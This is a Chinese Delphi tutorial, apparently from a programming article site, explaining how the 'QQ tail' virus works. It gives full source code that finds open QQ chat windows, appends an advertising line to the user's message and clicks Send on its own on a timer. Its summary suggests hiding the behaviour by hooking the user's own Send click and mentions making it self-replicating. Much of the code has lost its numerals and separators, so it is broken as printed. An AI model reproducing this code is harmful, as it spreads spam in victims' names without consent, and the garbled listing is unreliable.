QQ尾巴的發作情況 當用戶打開壹個QQ消息發送窗口時 病毒會自動往消息文本框裏輸入文本 然後不等用戶反應過來就發出去了
程序實現 首先要找到QQ消息發送窗口的句柄以及消息文本框與 發送 按鈕的窗口句柄
壹 如何找到QQ消息發送窗口句柄
QQ消息發送窗口有兩種 壹種是消息模式 在這種情況下 窗口標題含有 發送消息 字樣 壹種是聊天模式 窗口標題含有 聊天中 字樣
通過枚舉窗口就可找到相應的句柄
// 取得QQ的發送消息窗口
function GetQQWnd: HWND;
var
hCurrentWindow: HWnd;
WndText:String;
begin
hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST);
while hCurrentWindow <> do
begin
WndText:=GetWndText(hCurrentWindow);
if (Pos( 聊天中 WndText)> ) or (Pos( 發送消息 WndText)> ) then
begin
Result:=hCurrentWindow;
Exit;
end;
hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);
end;
Result:= ;
end;
二 如何找到 發送 按鈕窗口句柄
找到了QQ的發送消息窗口後 就可以進壹步查找 發送 按鈕句柄了 如窗口句柄為qqWnd 則可以用壹個循環 查找文本中含有 發送 字樣的窗口 經過試驗發現 發送 按鈕恰恰是窗體的第壹個子窗口 這樣 可以用
btnWnd:=GetDlgItem(qqWnd ); // 發送按鈕
來獲得 發送 按鈕的句柄
三 如何找到消息文本框窗口句柄
消息文本框並不好找 不過妳可以先在消息文本框中輸入幾個字母 如 abcd 這樣我們就可以用上述方法來查找了 不過通過實驗後 發現消息文本框並不是QQ窗口的直接子窗口 而是其中壹個子窗口的子窗口 通過實驗 可以用
txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框
來獲得
四 如何獲得原消息文本框的文本
要獲取原消息文本框的文本 只需要壹個API函數就行了 如下
// 獲得窗口文本
function GetWndText(hWnd: HWND): String;
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ;
GetMem(mText Ret);
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_GETTEXT Ret Buf);
Result:=StrPas(mText);
finally
FreeMem(mText Ret);
end;
end;
五 如何住原消息文本框裏追加文本
與取文本相反
// 發送文本到窗口
procedure SetWndText(hWnd: HWND; Text: String);
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
GetMem(mText Length(Text));
StrCopy(mText PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_SETTEXT Buf);
finally
FreeMem(mText Length(Text));
end;
end;
六 如果讓 發送 按鈕自動點擊
壹切都準備好了 現在要開始發送了 為了讓消息自動發送 我們可以模擬 發送 按鈕被點擊了
SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON );
SendMessage(btnWnd WM_LBUTTONUP );
通過模擬壹個鼠標在 開始 按鈕上的按下與放開 就實現了點擊發送功能
七 其它的定時功能比較簡單 在此也不多說了
八 全部源代碼如下
unit Unit ;
interface
uses
Windows Messages SysUtils Variants Classes Graphics Controls Forms
Dialogs StdCtrls ExtCtrls;
type
TForm = class(TForm)
Timer : TTimer;
Button : TButton;
Edit : TEdit;
Label : TLabel;
Button : TButton;
procedure Timer Timer(Sender: TObject);
procedure Button Click(Sender: TObject);
procedure Button Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form : TForm ;
implementation
{$R * dfm}
// 獲得窗口文本
function GetWndText(hWnd: HWND): String;
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
Ret:=SendMessage(hWnd WM_GETTEXTLENGTH )+ ;
GetMem(mText Ret);
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_GETTEXT Ret Buf);
Result:=StrPas(mText);
finally
FreeMem(mText Ret);
end;
end;
// 發送文本到窗口
procedure SetWndText(hWnd: HWND; Text: String);
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
GetMem(mText Length(Text));
StrCopy(mText PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd WM_SETTEXT Buf);
finally
FreeMem(mText Length(Text));
end;
end;
// 取得QQ的發送消息窗口
function GetQQWnd: HWND;
var
hCurrentWindow: HWnd;
WndText:String;
begin
hCurrentWindow := GetWindow(Application Handle GW_HWNDFIRST);
while hCurrentWindow <> do
begin
WndText:=GetWndText(hCurrentWindow);
if (Pos( 聊天中 WndText)> ) or (Pos( 發送消息 WndText)> ) then
begin
Result:=hCurrentWindow;
Exit;
end;
hCurrentWindow := GetWindow(hCurrentWindow GW_HWNDNEXT);
end;
Result:= ;
end;
// 定時處理
procedure TimerProc;
var
qqWnd txtWnd btnWnd:HWND;
Msg:String;
begin
qqWnd:=GetQQWnd;
if qqWnd= then Exit;
btnWnd:=GetDlgItem(qqWnd ); // 發送按鈕
txtWnd:=GetWindow(GetDlgItem(qqWnd ) GW_CHILD); // 文本框
if (btnWnd= ) or (txtWnd= ) then Exit;
Msg:=GetWndText(txtWnd);
Msg:=Msg+# +# + 歡迎光臨綠蔭網絡// lvyin net ;
SetWndText(txtWnd Msg);
SendMessage(btnWnd WM_LBUTTONDOWN MK_LBUTTON );
SendMessage(btnWnd WM_LBUTTONUP );
end;
procedure TForm Timer Timer(Sender: TObject);
begin
TimerProc;
end;
procedure TForm Button Click(Sender: TObject);
begin
Timer Enabled :=not Timer Enabled;
if Timer Enabled then
Button Caption := 停 止
else
Button Caption := 開 始 ;
end;
procedure TForm Button Click(Sender: TObject);
begin
Timer Interval :=StrToInt(Edit Text);
end;
end
九 總結 上面只講述了QQ消息自動發送的主要功能 這或許跟QQ尾巴的原理不同(我也不知道) 但總體上應該差不多 如果要做到讓用戶感覺不到異常 就要改壹下了 不要自動發送 而是在當用戶點擊了 發送 按鈕後再把文本加進去 這樣的話可攔截 發送 按鈕的點擊消息 然後再用上述方法把文本加進去 然後把消息交還原程序處理 至於如何讓它成為病毒 會自我復制 自我隱藏等功能 那又是另外壹個話題了 在此就不多講了
lishixinzhi/Article/program/Delphi/201311/8482